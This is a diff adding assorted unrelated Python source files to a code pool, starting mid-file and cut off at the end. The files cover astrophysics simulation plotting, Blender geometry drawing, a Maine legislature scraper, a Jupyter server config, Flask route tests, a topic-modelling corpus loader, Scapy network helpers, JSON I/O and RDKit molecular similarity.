tlist.append(float(line.split()[1])) + return np.asarray(tlist) + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('-s', '--simulation', help='Simulation number (0, 1, 2)', type=int) + #parser.add_argument( + args = parser.parse_args() + s = args.simulation + + simulation_directories = ['/u/pmyates/katie-sims/M25_15deg_OFF4R_Q37', + '/u/pmyates/katie-sims/M25_15deg_OFF4R_Q38', + '/u/pmyates/katie-sims/M25_30deg_OFF4R_Q38', + '/u/pmyates/katie-sims/M25_30deg_OFF1R_Q38'] + + output_directories = ['/u/pmyates/katie-sims/movies/M25_15deg_OFF4R_Q37', + '/u/pmyates/katie-sims/movies/M25_15deg_OFF4R_Q38', + '/u/pmyates/katie-sims/movies/M25_30deg_OFF4R_Q38', + '/u/pmyates/katie-sims/movies/M25_30deg_OFF1R_Q38'] + + halo_mass = (10 ** 14.5) * u.M_sun + redshift = 0 + env = pk.KingProfile(halo_mass, redshift) + + theta1 = 15 + theta2 = 30 + M_x = 25 + Q1 = (10 ** 37) * u.W + Q2 = (10 ** 38) * u.W + + jet_37 = pk.AstroJet(theta1, + M_x, + env.sound_speed, + env.central_density, + Q1, + env.gamma) + jet_38_15 = pk.AstroJet(theta1, + M_x, + env.sound_speed, + env.central_density, + Q2, + env.gamma) + jet_38_30 = pk.AstroJet(theta2, + M_x, + env.sound_speed, + env.central_density, + Q2, + env.gamma) + + uv_37 = pk.jet.get_unit_values(env, jet_37) + uv_38_15 = pk.jet.get_unit_values(env, jet_38_15) + uv_38_30 = pk.jet.get_unit_values(env, jet_38_30) + + step = 1 + + outputs = [np.arange(0, pk.simulations.get_output_count(simulation_directories[0]), step), + np.arange(0, pk.simulations.get_output_count(simulation_directories[1]), step), + np.arange(0, pk.simulations.get_output_count(simulation_directories[2]), step), + np.arange(0, pk.simulations.get_output_count(simulation_directories[3]), step)] + + if (s is None or s == 0): + plot_movie(simulation_directories[0], + output_directories[0], + outputs[0], + uv_37, + env, + jet_37) + if (s is None or s == 1): + plot_movie(simulation_directories[1], + output_directories[1], + outputs[1], + uv_38_15, + env, + jet_38_15) + if (s is None or s == 2): + plot_movie(simulation_directories[2], + output_directories[2], + outputs[2], + uv_38_30, + env, + jet_38_30) + if (s is None or s == 3): + plot_movie(simulation_directories[3], + output_directories[3], + outputs[3], + uv_38_30, + env, + jet_38_30) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077346_capsuleartist.py b/pool/shard008/Python/0077346_capsuleartist.py new file mode 100644 index 0000000000000000000000000000000000000000..137fb89a32d186b9e3444ba131b05a468527aae3 --- /dev/null +++ b/pool/shard008/Python/0077346_capsuleartist.py @@ -0,0 +1,90 @@ +from typing import Any +from typing import List +from typing import Optional +from typing import Union + +import bpy + +import compas_blender +from compas.geometry import Capsule +from compas.artists import ShapeArtist +from compas.colors import Color +from .artist import BlenderArtist + + +class CapsuleArtist(BlenderArtist, ShapeArtist): + """Artist for drawing capsule shapes in Blender. + + Parameters + ---------- + capsule : :class:`~compas.geometry.Capsule` + A COMPAS capsule. + collection : str | :blender:`bpy.types.Collection` + The Blender scene collection the object(s) created by this artist belong to. + **kwargs : dict, optional + Additional keyword arguments. + For more info, + see :class:`~compas_blender.artists.BlenderArtist` and :class:`~compas.artists.ShapeArtist`. + + Examples + -------- + Use the Blender artist explicitly. + + .. code-block:: python + + from compas.geometry import Capsule + from compas_blender.artists import CapsuleArtist + + capsule = Capsule(([0, 0, 0], [1, 0, 0]), 0.3) + + artist = CapsuleArtist(capsule) + artist.draw() + + Or, use the artist through the plugin mechanism. + + .. code-block:: python + + from compas.geometry import Capsule + from compas.artists import Artist + + capsule = Capsule(([0, 0, 0], [1, 0, 0]), 0.3) + + artist = Artist(capsule) + artist.draw() + + """ + + def __init__(self, + capsule: Capsule, + collection: Optional[Union[str, bpy.types.Collection]] = None, + **kwargs: Any): + + super().__init__(shape=capsule, collection=collection or capsule.name, **kwargs) + + def draw(self, color: Optional[Color] = None, u: int = None, v: int = None) -> List[bpy.types.Object]: + """Draw the capsule associated with the artist. + + Parameters + ---------- + color : tuple[int, int, int] | tuple[float, float, float] | :class:`~compas.colors.Color`, optional + The RGB color of the capsule. + The default color is :attr:`compas.artists.ShapeArtist.color`. + u : int, optional + Number of faces in the "u" direction. + Default is :attr:`CapsuleArtist.u`. + v : int, optional + Number of faces in the "v" direction. + Default is :attr:`CapsuleArtist.v`. + + Returns + ------- + list[:blender:`bpy.types.Object`] + The objects created in Blender. + + """ + u = u or self.u + v = v or self.v + color = Color.coerce(color) or self.color + vertices, faces = self.shape.to_vertices_and_faces(u=u, v=v) + obj = compas_blender.draw_mesh(vertices, faces, name=self.shape.name, color=color, collection=self.collection) + return [obj] diff --git a/pool/shard008/Python/0077348_init__.py b/pool/shard008/Python/0077348_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..1caad4002c2051434768501258aca000524939ca --- /dev/null +++ b/pool/shard008/Python/0077348_init__.py @@ -0,0 +1,101 @@ +from pupa.scrape import Jurisdiction, Organization +from openstates.utils import url_xpath + +from .bills import MEBillScraper +from .people import MEPersonScraper +from .committees import MECommitteeScraper + + +class Maine(Jurisdiction): + division_id = "ocd-division/country:us/state:me" + classification = "government" + name = "Maine" + url = "http://legislature.maine.gov" + scrapers = { + 'bills': MEBillScraper, + 'people': MEPersonScraper, + 'committees': MECommitteeScraper, + } + parties = [ + {'name': 'Republican'}, + {'name': 'Democratic'} + ] + legislative_sessions = [ + { + "_scraped_name": "121st Legislature", + "identifier": "121", + "name": "121st Legislature (2003-2004)" + }, + { + "_scraped_name": "122nd Legislature", + "identifier": "122", + "name": "122nd Legislature (2005-2006)" + }, + { + "_scraped_name": "123rd Legislature", + "identifier": "123", + "name": "123rd Legislature (2007-2008)" + }, + { + "_scraped_name": "124th Legislature", + "identifier": "124", + "name": "124th Legislature (2009-2010)" + }, + { + "_scraped_name": "125th Legislature", + "identifier": "125", + "name": "125th Legislature (2011-2012)" + }, + { + "_scraped_name": "126th Legislature", + "identifier": "126", + "name": "126th Legislature (2013-2014)" + }, + { + "_scraped_name": "127th Legislature", + "identifier": "127", + "name": "127th Legislature (2015-2016)" + }, + { + "_scraped_name": "128th Legislature", + "identifier": "128", + "name": "128th Legislature (2017-2018)" + } + ] + ignored_scraped_sessions = [] + + def get_organizations(self): + legislature_name = "Maine Legislature" + lower_chamber_name = "House" + lower_seats = 151 + lower_title = "Representative" + upper_chamber_name = "Senate" + upper_seats = 35 + upper_title = "Senator" + + legislature = Organization(name=legislature_name, + classification="legislature") + upper = Organization(upper_chamber_name, classification='upper', + parent_id=legislature._id) + lower = Organization(lower_chamber_name, classification='lower', + parent_id=legislature._id) + + for n in range(1, upper_seats + 1): + upper.add_post( + label=str(n), role=upper_title, + division_id='{}/sldu:{}'.format(self.division_id, n)) + for n in range(1, lower_seats + 1): + lower.add_post( + label=str(n), role=lower_title, + division_id='{}/sldl:{}'.format(self.division_id, n)) + + yield legislature + yield upper + yield lower + + def get_session_list(self): + sessions = url_xpath('http://www.mainelegislature.org/LawMakerWeb/advancedsearch.asp', + '//select[@name="LegSession"]/option/text()') + sessions.remove('jb-Test') + sessions.remove('2001-2002') + return sessions diff --git a/pool/shard008/Python/0077351_jupyter_notebook_config.py b/pool/shard008/Python/0077351_jupyter_notebook_config.py new file mode 100644 index 0000000000000000000000000000000000000000..bbb3f925878442b2219291d702f99eb173b5c026 --- /dev/null +++ b/pool/shard008/Python/0077351_jupyter_notebook_config.py @@ -0,0 +1,89 @@ +# Copyright (c) Jupyter Development Team. +# Distributed under the terms of the Modified BSD License. + +from jupyter_core.paths import jupyter_data_dir +import subprocess +import os +import errno +import stat +import io +from notebook.utils import to_api_path + + +c = get_config() +c.NotebookApp.ip = '*' +c.NotebookApp.port = 8888 +c.NotebookApp.open_browser = False +c.NotebookApp.password = \ + os.environ.get('JUPYTER_PASSWORD_HASH') or \ + 'sha1:6787afc32937:402e2a05be8d653c995ef712fe3689f4cfbae1e8' # password + +# Generate a self-signed certificate +if 'GEN_CERT' in os.environ: + dir_name = jupyter_data_dir() + pem_file = os.path.join(dir_name, 'notebook.pem') + try: + os.makedirs(dir_name) + except OSError as exc: # Python >2.5 + if exc.errno == errno.EEXIST and os.path.isdir(dir_name): + pass + else: + raise + # Generate a certificate if one doesn't exist on disk + subprocess.check_call(['openssl', 'req', '-new', + '-newkey', 'rsa:2048', + '-days', '365', + '-nodes', '-x509', + '-subj', '/C=XX/ST=XX/L=XX/O=generated/CN=generated', + '-keyout', pem_file, + '-out', pem_file]) + # Restrict access to the file + os.chmod(pem_file, stat.S_IRUSR | stat.S_IWUSR) + c.NotebookApp.certfile = pem_file + + +# Auto .py export program referred: http://qiita.com/mmsstt/items/6f8382afcc94f57861d4 +def scrub_output_pre_save(model, **kwargs): + """scrub output before saving notebooks""" + # only run on notebooks + if model['type'] != 'notebook': + return + # only run on nbformat v4 + if model['content']['nbformat'] != 4: + return + + for cell in model['content']['cells']: + if cell['cell_type'] != 'code': + continue + #cell['outputs'] = [] + cell['execution_count'] = None + +c.FileContentsManager.pre_save_hook = scrub_output_pre_save + + + +_script_exporter = None + +def script_post_save(model, os_path, contents_manager, **kwargs): + """convert notebooks to Python script after save with nbconvert + + replaces `ipython notebook --script` + """ + from nbconvert.exporters.script import ScriptExporter + + if model['type'] != 'notebook': + return + + global _script_exporter + if _script_exporter is None: + _script_exporter = ScriptExporter(parent=contents_manager) + log = contents_manager.log + + base, ext = os.path.splitext(os_path) + py_fname = base + '.py' + script, resources = _script_exporter.from_filename(os_path) + script_fname = base + resources.get('output_extension', '.txt') + log.info("Saving script /%s", to_api_path(script_fname, contents_manager.root_dir)) + with io.open(script_fname, 'w', encoding='utf-8') as f: + f.write(script) +c.FileContentsManager.post_save_hook = script_post_save diff --git a/pool/shard008/Python/0077352_test_routes.py b/pool/shard008/Python/0077352_test_routes.py new file mode 100644 index 0000000000000000000000000000000000000000..d7a2924329711c5be6b2a6cd4d7de2c2d2b47ecc --- /dev/null +++ b/pool/shard008/Python/0077352_test_routes.py @@ -0,0 +1,93 @@ +import data +import unittest +from lib.dbShared import db +from testfixtures import TempDirectory +import lib.models + + +class RouteTests(unittest.TestCase): + def setUp(self): + data.app.config['TESTING'] = True + data.app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///:memory:' + data.app.config['USER_LIST'] = ['Test Admin', 'testman@kb.se'] + db.init_app(data.app) + d = TempDirectory() + d.makedir('2015/05/myDataset') + d.write('2015/05/myDataset/files/testfile.jpg', 'abc') + d.write('2015/05/myDataset/testfile2.jpg', 'abc') + self.directory = d + data.app.config['DATASET_ROOT'] = d.path + with data.app.app_context(), TempDirectory() as d: + db.create_all() + lib.models.buildDB() + license = lib.models.License.query.first() + provider = lib.models.Provider.query.first() + dataset = lib.models.Datasets() + dataset.name = 'My Test Dataset' + dataset.license = [license] + dataset.provider = [provider] + dataset.path = "2015/05/myDataset" + db.session.add(dataset) + db.session.commit() + self.app = data.app.test_client() + + def test_index(self): + res = self.app.get('/') + self.assertIn('My Test Dataset', res.data) + self.assertIn('/datasets/2015/05/myDataset', res.data) + + def test_dataset_mainpage(self): + res = self.app.get( + '/datasets/2015/05/myDataset', + follow_redirects=True + ) + self.assertIn('My Test Dataset', res.data) + self.assertIn('./testfile2.jpg', res.data) + self.assertIn('./files', res.data) + self.assertIn('image/jpeg', res.data) + + def test_dataset_with_subfolder(self): + res = self.app.get( + '/datasets/2015/05/myDataset/files', + follow_redirects=True + ) + self.assertIn('My Test Dataset', res.data) + self.assertIn('./testfile.jpg', res.data) + self.assertIn('image/jpeg', res.data) + + def test_dataset_does_not_exist_is_handeled(self): + res = self.app.get( + '/datasets/2014/04/idonotexist', + follow_redirects=True + ) + self.assertIn('Could not find dataset', res.data) + + def test_malformed_dataset_is_handled(self): + res = self.app.get('/datasets/idonotexist', follow_redirects=True) + self.assertIn('Could not find dataset', res.data) + + def test_logon_dev_mode(self): + data.app.config['APPENV'] = 'dev' + res = self.app.get('/login2', follow_redirects=True) + self.assertIn('Test Admin', res.data) + + def test_logon_prod_mode(self): + data.app.config['APPENV'] = 'production' + headers = { + 'schacHomeOrganization': 'kb.se', + 'eppn': 'testman@kb.se', 'displayName': 'Test User' + } + res = self.app.get('/login2', follow_redirects=True, headers=headers) + self.assertIn('Test User', res.data) + + def test_logon_prod_mode_should_not_authenticate(self): + data.app.config['APPENV'] = 'production' + headers = { + 'schacHomeOrganization': 'kb.se', 'eppn': 'noman@kb.se', + 'displayName': 'Nobody Home' + } + res = self.app.get('/login2', follow_redirects=True, headers=headers) + self.assertIn("Couldn't authenticate", res.data) + + def tearDown(self): + self.directory.cleanup() diff --git a/pool/shard008/Python/0077356_findbookleave.py b/pool/shard008/Python/0077356_findbookleave.py new file mode 100644 index 0000000000000000000000000000000000000000..f7f23f7f6980b2d4cde6d92c1dd66c86ffebccd0 --- /dev/null +++ b/pool/shard008/Python/0077356_findbookleave.py @@ -0,0 +1,61 @@ + +class Solution: + def __init__(self, N): + self.n = N + + # Auxilary DS to store left/right occupied room for a given occupied room + # Useful in updating heap when book() or leave() is called + self.left_occupied = {} + self.right_occupied = {} + + # root element stores longest free range of rooms + # maybe we need custom key to order heap elements + # element is of form { left_occupied: a, right_occupied: b } + self._heap = [] + + def find_place(self): + ''' + O(1) look up from top of heap + ''' + optimal_slot = self._heap.top() + l, r = optimal_slot.left_occupied, optimal_slot.right_occupied + if abs(r - l) < 1: return -1 + return (r + l + 1) // 2 + + def book(self, a): + ''' + O(logN) for heap push (heapify OP) + Assuming a is most optimal available room + pick most optimal room from top of heap and update heap + ''' + optimal_slot = self._heap.pop() + l, r = optimal_slot.left_occupied, optimal_slot.right_occupied + self.left_occupied[a] = l + self.right_occupied[a] = r + + self.left_occupied[r] = self.right_occupied[l] = a + self._heap.push({ + 'left_occupied': l, + 'right_occupied': a, + }) + self._heap.push({ + 'left_occupied': a, + 'right_occupied': r, + }) + # TODO + # Need to remove [l, r] range from heap + + def leave(self, a): + ''' + O(logN) for heap push (heapify OP) + return nil if a is not occupied currently + ''' + if a not in self.left_occupied: return + l, r = self.left_occupied[a], self.right_occupied[a] + self._heap.push({ + 'left_occupied': l, + 'right_occupied': r, + }) + # TODO + # Needs to remove [l, a] and [a, r] ranges from heap + \ No newline at end of file diff --git a/pool/shard008/Python/0077359_corpus.py b/pool/shard008/Python/0077359_corpus.py new file mode 100644 index 0000000000000000000000000000000000000000..50ce24d4a2e1228e3d3cd9f14ac34ecfecd76ebd --- /dev/null +++ b/pool/shard008/Python/0077359_corpus.py @@ -0,0 +1,242 @@ +import re +from topicmodeling.hiddenfactortopics.vote import Vote + +__author__ = 'fpena' + + +class Corpus: + + WHITESPACE_SEPARATOR_REGEX = r"\S+" + + def __init__(self): + + self._num_users = 0 + self._num_items = 0 + self._num_words = 0 + + self._user_count_map = {} + self._item_count_map = {} + self._vote_list = [] + self._user_id_map = {} + self._item_id_map = {} + self._word_count_map = {} + self._word_id_map = {} + + def load_data(self, file_name, max_lines): + self.process_reviews(file_name, max_lines) + self.build_votes(file_name, max_lines) + + # OK, returns the same results as the McAuley implementation + def process_reviews(self, file_name, max_lines): + """ + Processes all the reviews contained in the given file and builds three + objects in this class: the number of reviews per user, the number of + reviews per item and the frequency of every word that appears in the + reviews + + :param file_name: the file that contains the ratings and reviews + :param max_lines: this indicates the maximum number of lines in the file + to be processed by the method + """ + num_lines_read = 0 + + with open(file_name, 'r') as votes_file: + for line in votes_file: + # print(line) + # We split the line by white spaces + iterator = re.finditer(self.WHITESPACE_SEPARATOR_REGEX, line) + user_name = next(iterator).group(0) + item_name = next(iterator).group(0) + rating = next(iterator).group(0) + vote_date = next(iterator).group(0) + num_words = next(iterator).group(0) + + # print("user =", user_name, + # "\titem =", item_name, + # "\trating =", rating, + # "\ttime =", vote_date, + # "\twords =", num_words) + + for token in iterator: + word = token.group(0) + if word not in self._word_count_map: + self._word_count_map[word] = 0 + self._word_count_map[word] += 1 + # print(word) + + if user_name not in self._user_count_map: + self._user_count_map[user_name] = 0 + if item_name not in self._item_count_map: + self._item_count_map[item_name] = 0 + + self._user_count_map[user_name] += 1 + self._item_count_map[item_name] += 1 + + num_lines_read += 1 + + if 0 < max_lines <= num_lines_read: + break + + print("\nnUsers =", len(self._user_count_map), + "nItems =", len(self._item_count_map), + "nRatings =", num_lines_read) + + # Returns different results each time because elements are stored in a map, + # and when ordering the words by frequency, it is unpredictable which word + # is going to appear from a set of words that have the same frequency + def build_votes(self, file_name, max_lines): + + # print("***************************") + # print("***************************") + # print("***************************") + # print("***************************\n") + + self._num_users = 0 + self._num_items = 0 + + min_users = 0 + min_items = 0 + max_words = 5000 + + word_id_map = Corpus.build_word_id_map(self._word_count_map, max_words) + self._num_words = len(word_id_map) + # print(word_id_map) + + num_lines_read = 0 + + with open(file_name, 'r') as votes_file: + for line in votes_file: + vote = Vote() + + # We split the line by white spaces + iterator = re.finditer(self.WHITESPACE_SEPARATOR_REGEX, line) + user_name = next(iterator).group(0) + item_name = next(iterator).group(0) + rating = float(next(iterator).group(0)) + vote_date = next(iterator).group(0) + num_words = next(iterator).group(0) + + for token in iterator: + word = token.group(0) + if word in word_id_map: + vote.word_list.append(word_id_map[word]) + + if self._user_count_map[user_name] >= min_users: + if user_name not in self._user_id_map: + self._user_id_map[user_name] = self.num_users + self._num_users += 1 + vote.user = self._user_id_map[user_name] + else: + vote.user = 0 + + if self._item_count_map[item_name] >= min_items: + if item_name not in self._item_id_map: + self._item_id_map[item_name] = self.num_items + self._num_items += 1 + vote.item = self._item_id_map[item_name] + else: + vote.item = 0 + + vote.rating = rating + vote.date = vote_date + self.vote_list.append(vote) + + # print("\nvoteUser = %d, voteItem = %d, voteRating = %f, numWords = %d", vote.user, vote.item, vote.rating, len(vote.word_list)) + # print("voteUser = ", vote.user, + # "\tvoteItem = ", vote.item, + # "\tvoteRating = ", vote.rating, + # "\tnumWords = ", len(vote.word_list)) + # print("voteUser =", vote.user, + # "\tvoteItem =", vote.item, + # "\tvoteRating =", vote.rating, + # "\tnumWords =", len(vote.word_list), + # "******", + # "\tactualUser =", user_name, + # "\tactualItem =", item_name, + # "\tactualWords =", num_words) + + + num_lines_read += 1 + + if 0 < max_lines <= num_lines_read: + break + + @staticmethod + def build_word_id_map(word_count, max_words): + """ + Based on the given word count, builds a dictionary that assigns an ID + to each word (they key is the word itself, and the value is the ID), + where the most frequent word in all the reviews has ID = 1, the second + most frequent has ID = 2, and so on. + + :param word_count: a dictionary where the key is the word itself and the + value is the number of times that that word appears in all reviews + :param max_words: a parameter that indicates how many words should be + returned. It just tell the method to return the top-n most frequent + words (n = max_words) + :return: a dictionary, where the key is the word and the value is the ID + of the word + """ + + # print(word_count) + + word_list = sorted(word_count, key=word_count.get, reverse=True) + + if len(word_list) < max_words: + max_words = len(word_list) + + word_id_map = {} + + for index in range(max_words): + word_id_map[word_list[index]] = index + + return word_id_map + + @property + def vote_list(self): + """ + :rtype: list[Vote] + """ + return self._vote_list + + @vote_list.setter + def vote_list(self, value): + """ + :type value: list[Vote] + """ + self.vote_list = value + + @property + def num_users(self): + return self._num_users + + @property + def num_items(self): + return self._num_items + + @property + def num_words(self): + return self._num_words + + + +# my_file = '/Users/fpena/tmp/SharedFolder/code_RecSys13/Arts-short.votes' +# my_corpus = Corpus(my_file, 0) +# my_corpus.process_reviews(my_file, 0) +# print(my_corpus._word_count_map) +# my_corpus.build_votes(my_file, 0) + + +# my_text = "A3MJRT2OEQX7HN B0009VEM4U 3.0 1361577600 23 great snippers but they are much bigger and bulkier than i expected ill keep them but not for the reason i purchased them" +# my_iterator = re.finditer(Corpus.WHITESPACE_SEPARATOR_REGEX, my_text) + +# for token in my_iterator: +# print(token.group(0)) + +x = {'a': 2, 'b': 4, 'c': 3, 'd': 1, 'e': 0} +# sorted_x = sorted(x, key=x.get, reverse=True) + +# print(Corpus.build_word_id_map(x, 2)) + +# for element in sorted_x: +# print(element) diff --git a/pool/shard008/Python/0077369_common.py b/pool/shard008/Python/0077369_common.py new file mode 100644 index 0000000000000000000000000000000000000000..b8155bdececd72ce15c1d4d4e00d4fd9c5a5fb0f --- /dev/null +++ b/pool/shard008/Python/0077369_common.py @@ -0,0 +1,159 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Functions common to different architectures +""" + +import ctypes +import socket +import struct +from scapy.consts import WINDOWS +from scapy.config import conf +from scapy.data import MTU, ARPHDR_ETHER, ARPHRD_TO_DLT +from scapy.error import Scapy_Exception +from scapy.interfaces import network_name, NetworkInterface +from scapy.libs.structures import bpf_program + +# Type imports +import scapy +from scapy.compat import ( + Optional, + Tuple, + Union, +) + +if not WINDOWS: + from fcntl import ioctl + +# From if.h +_iff_flags = [ + "UP", + "BROADCAST", + "DEBUG", + "LOOPBACK", + "POINTTOPOINT", + "NOTRAILERS", + "RUNNING", + "NOARP", + "PROMISC", + "NOTRAILERS", + "ALLMULTI", + "MASTER", + "SLAVE", + "MULTICAST", + "PORTSEL", + "AUTOMEDIA", + "DYNAMIC", + "LOWER_UP", + "DORMANT", + "ECHO" +] + +# UTILS + + +def get_if(iff, cmd): + # type: (Union[NetworkInterface, str], int) -> bytes + """Ease SIOCGIF* ioctl calls""" + + iff = network_name(iff) + sck = socket.socket() + try: + return ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8"))) + finally: + sck.close() + + +def get_if_raw_hwaddr(iff, # type: Union[NetworkInterface, str] + siocgifhwaddr=None, # type: Optional[int] + ): + # type: (...) -> Tuple[int, bytes] + """Get the raw MAC address of a local interface. + + This function uses SIOCGIFHWADDR calls, therefore only works + on some distros. + + :param iff: the network interface name as a string + :returns: the corresponding raw MAC address + """ + if siocgifhwaddr is None: + from scapy.arch import SIOCGIFHWADDR # type: ignore + siocgifhwaddr = SIOCGIFHWADDR + return struct.unpack( # type: ignore + "16xH6s8x", + get_if(iff, siocgifhwaddr) + ) + + +# BPF HANDLERS + + +def compile_filter(filter_exp, # type: str + iface=None, # type: Optional[Union[str, 'scapy.interfaces.NetworkInterface']] # noqa: E501 + linktype=None, # type: Optional[int] + promisc=False # type: bool + ): + # type: (...) -> bpf_program + """Asks libpcap to parse the filter, then build the matching + BPF bytecode. + + :param iface: if provided, use the interface to compile + :param linktype: if provided, use the linktype to compile + """ + try: + from scapy.libs.winpcapy import ( + PCAP_ERRBUF_SIZE, + pcap_open_live, + pcap_compile, + pcap_compile_nopcap, + pcap_close + ) + except OSError: + raise ImportError( + "libpcap is not available. Cannot compile filter !" + ) + from ctypes import create_string_buffer + bpf = bpf_program() + bpf_filter = create_string_buffer(filter_exp.encode("utf8")) + if not linktype: + # Try to guess linktype to avoid root + if not iface: + if not conf.iface: + raise Scapy_Exception( + "Please provide an interface or linktype!" + ) + iface = conf.iface + # Try to guess linktype to avoid requiring root + try: + arphd = get_if_raw_hwaddr(iface)[0] + linktype = ARPHRD_TO_DLT.get(arphd) + except Exception: + # Failed to use linktype: use the interface + pass + if not linktype and conf.use_bpf: + linktype = ARPHDR_ETHER + if linktype is not None: + ret = pcap_compile_nopcap( + MTU, linktype, ctypes.byref(bpf), bpf_filter, 0, -1 + ) + elif iface: + err = create_string_buffer(PCAP_ERRBUF_SIZE) + iface_b = create_string_buffer(network_name(iface).encode("utf8")) + pcap = pcap_open_live( + iface_b, MTU, promisc, 0, err + ) + error = bytes(bytearray(err)).strip(b"\x00") + if error: + raise OSError(error) + ret = pcap_compile( + pcap, ctypes.byref(bpf), bpf_filter, 0, -1 + ) + pcap_close(pcap) + if ret == -1: + raise Scapy_Exception( + "Failed to compile filter expression %s (%s)" % (filter_exp, ret) + ) + return bpf diff --git a/pool/shard008/Python/0077374_cu_io.py b/pool/shard008/Python/0077374_cu_io.py new file mode 100644 index 0000000000000000000000000000000000000000..a51a7df75a0b81dd27211ee14e453850bd5075f7 --- /dev/null +++ b/pool/shard008/Python/0077374_cu_io.py @@ -0,0 +1,154 @@ +import os +import json +import codecs + +__author__ = 'Stone' +# Module 'cu_io' -- common operations on I/O +"""customized I/O operations specialized json version + +importing this module directly, you can read or write +json line from or into files +""" + + +# JSON base I/O classes (no need to define interface since only used for this program) +class IO: + def __init__(self): + """ + set the current dir with the parent dir of the current path + e.g ~/home/Sortable/utils/cu_io.py => ~/home/Sortable/ + """ + self.directory = os.path.dirname(os.path.os.path.dirname(os.path.abspath(__file__))) + + def load_cache(self, filename, *path): + fullname = self.get_absolute(filename, *path) + if os.path.isfile(fullname): + return self.read_from_json(filename, *path) + return None + + def read_from_json(self, filename, *path): + """ + read file contains standard json data and return the python object + of representation of the file. using ascii decoding. + + :param filename: for simplification the filename will be name and extension + e.g. "products.txt" + :param path: the path will be positional arguments, so it can be appended + e.g. "..","data" + + :return: the python object of the json data + """ + fullname = self.get_absolute(filename, *path) + if os.path.isfile(fullname): + try: + with open(fullname, 'r') as f: + result = json.load(f) + return result + except: + print("read From JSON failed!") + raise + else: + raise ValueError("{0} is not a valid file".format(fullname)) + + def read_from_json_line(self, filename, *path): + """ + read file contains json lines and return the python object + of representation of the file. using UTF-8 decoding. + + :param filename: for simplification the filename will be name and extension + e.g. "products.txt" + :param path: the path will be positional arguments, so it can be appended + e.g. "..","data" + + :return: the python object of the json line data + """ + fullname = self.get_absolute(filename, *path) + if os.path.isfile(fullname): + try: + with codecs.open(fullname, "r", "utf-8") as f: + result = [json.loads(x[:-1]) for x in f.readlines()] + return result + except: + print("read From JSONLine failed!") + raise + else: + raise ValueError("{0} is not a valid file".format(fullname)) + + def read_from_json_line_files(self, files, *path): + """ + read files contains json lines and return the python dict object + of representation of the files. using UTF-8 decoding. + + :param files: list of the filename will be name and extension for simplification + e.g. "products.txt" + :param path: the path will be positional arguments, so it can be appended + e.g. "..","data" + + :return: the python dict object of the json line data corresponding object + """ + raw_data = {} + for model, filename in files.items(): + raw_data[model] = self.read_from_json_line(filename, *path) + return raw_data + + def write_to_json(self, data, filename, *path): + """ + dump standard json back into file using ascii encoding. + + :param data: python objects + :param filename: for simplification the filename will be name and extension + e.g. "result.txt" + :param path: the path will be positional arguments, so it can be appended + e.g. "..","data" + + :return: the python object of the pure json data + """ + fullname = self.get_absolute(filename, *path) + try: + with open(fullname, 'w') as f: + json.dump(data, f, indent=2) + except: + print("write To JSON failed!") + raise + + def write_to_json_line(self, lines, filename, *path): + """ + dump json lines back into file using UTF-8 encoding. + ensure_ascii=False is necessary since json.dump returns ascii as default + + :param lines: list of python dict objects + :param filename: for simplification the filename will be name and extension + e.g. "result.txt" + :param path: the path will be positional arguments, so it can be appended + e.g. "..","data" + + :return: the python object of the json line data + """ + fullname = self.get_absolute(filename, *path) + try: + with codecs.open(fullname, 'wb', 'utf-8') as f: + for obj in lines: + s = json.dumps(obj, ensure_ascii=False) + f.write(s) + f.write(u"\n") + except: + print("write To JSONLine failed!") + raise + + def get_absolute(self, filename, *path): + """ + convert a relative filename and path into absolute file path + + :param filename: for simplification the filename will be name and extension + e.g. "products.txt" + :param path: the path will be positional arguments, so it can be appended + e.g. "..","data" + + :return: absolute file path + e.g. "~/Sortable/data/products.txt" + """ + if len(path) > 0: + path = os.path.join(*path) + else: + path = "." + return os.path.join(self.directory, path, filename) diff --git a/pool/shard008/Python/0077378_ecfp2_1024_tanimoto.py b/pool/shard008/Python/0077378_ecfp2_1024_tanimoto.py new file mode 100644 index 0000000000000000000000000000000000000000..a3c2ead9a7bc98e627deb49d3af04b649682be51 --- /dev/null +++ b/pool/shard008/Python/0077378_ecfp2_1024_tanimoto.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import rdkit +from rdkit.Chem import AllChem +from rdkit import DataStructs + +__license__ = "X11" + +METADATA = { + "id": "method_rdkit_ecfp2_1024_tanimoto", + "representation": "ecfp2_1024", + "similarity": "tanimoto" +} + + +def _compute_fingerprint(molecule): + return AllChem.GetMorganFingerprintAsBitVect(molecule, 1, nBits=1024) + + +def _compute_similarity(left, right): + return DataStructs.TanimotoSimilarity(left, right) + + +def create_model(train_ligands, train_decoys): + model = [] + for molecule in train_ligands: + model.append({ + "name": molecule.GetProp("_Name"), + "fingerprint": _compute_fingerprint(molecule) + }) + model_information = {} + return model, model_information + + +def compute_score(model, molecule): + fingerprint = _compute_fingerprint(molecule) + similarities = [_compute_similarity(fingerprint, item["fingerprint"]) + for item in model] + max_score = max(similarities) + index_of_max_score = similarities.index(max_score) + closest_molecule = model[index_of_max_score] + return { + "value": max_score, + "info": { + "closest": closest_molecule["name"] + } + } + + +def compute_similarity(left, right): + return _compute_similarity(_compute_fingerprint(left), + _compute_fingerprint(right)) diff --git a/pool/shard008/Python/0077379_netscience.py b/pool/shard008/Python/0077379_netscience.py new file mode 100644 index 0000000000000000000000000000000000000000..6872dda45b8ed7495d3aca61f9511ab847f3bfac --- /dev/null +++ b/pool/shard008/Python/0077379_netscience.py @@ -0,0 +1,53 @@ +import xml.etree.ElementTree as ET +from sets import Set +from com.uva.preprocess.dataset import DataSet +from com.uva.data import Data + +class NetScience(DataSet): + """ Process netscience data set """ + + def __init__(self): + pass + + def _process(self): + + max_n = 500 + + """ + The netscience data is stored in xml format. The function just reads all the vertices + and edges. + * if vertices are not record as the format of 0,1,2,3....., we need to do some + process. Fortunally, there is no such issue with netscience data set. + """ + # V stores the mapping between node ID and attribute. i.e title, name. etc + # i.e {0: "WU, C", 1 :CHUA, L"} + V = {} + # file path of netscience data set. + tree = ET.parse("/home/liwenzhe/workspace/SGRLDForMMSB/datasets/netscience.xml") + for node in tree.iter("node"): + attrs = node.attrib + V[attrs['id']] = attrs['title'] + + N = min(len(V), max_n) + + # iterate every link in the graph, and store 